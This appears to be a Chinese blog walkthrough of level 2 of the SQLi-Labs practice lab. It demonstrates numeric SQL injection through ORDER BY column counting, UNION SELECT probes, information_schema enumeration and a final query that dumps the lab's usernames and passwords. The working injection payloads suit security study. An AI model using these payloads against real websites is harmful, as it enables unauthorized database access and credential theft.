SqliLabs 第二關 ,數位型注入!!!

2023-05-09 21:00:42

首先開啟網頁,進行注入點的測試 輸入?id=1 and 1=1發現1=2的時候出現了報錯,說明伺服器接收了我們的指令,並且進行了反饋,說明了有注入點的存在,然後對注入點進行測試

截圖.png

然後輸入order by()來拆解一下有多少個顯示欄位,輸入4發現沒有回顯,

截圖.png

輸入order by 3發現有回顯並且有三個顯示欄位,

截圖.png

然後輸入union select 1,2,3 因為有三個顯示欄位,所以查詢一下顯示位,因為我們要顯示我們輸入的1,2,3.所以要把伺服器想要顯示的讓他報錯,發現只有2和3,有回顯

截圖.png

知道2和3可以回顯之後就可以進行下一步,在2或者3的位置進行資訊收集,首先進行他的資料庫版本和資料庫名字進行收集得到

資料庫版本:version() 5.7.26

資料庫名稱:database() security

截圖.png

因為得到了他的資料庫的名字,所以我們要去收集他的表名

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

截圖.png

查詢到表名有 emails,referers,uagents,users

截圖.png

查詢完表名之後就要去查詢他的列名,一共有四個表名,所以我們就要去挨個查詢,去得到他的敏感資訊,因為要查詢列名,所以就要把查詢的表名切換為列名,然後來自於表名下所有的列,,這些來自於表名所以後面有要改搜尋到的表名,一共有四個表名,就要去挨個去搜尋,

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' 藍色字型為修改的值

得到的列名總共有 id,email_id id,referer,ip_address id,uagent,ip_address,username

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password

截圖.png

發現裡面有,username,password意思是賬號密碼的意思,可以在這兩個列裡面查詢裡面的資訊,因為不知道有多少密碼可以嘗試用group_concat()來全部輸出看一下

union select 1,group_concat(username),group_concat(password) from users

聯合查詢,全部輸出(username),全部輸出(password) 來自於users

因為username,password是在users 這個表裡面查詢出來的,就要去這個表裡面去查詢

截圖.png

得到賬號Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,admin5

密碼Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4,admin5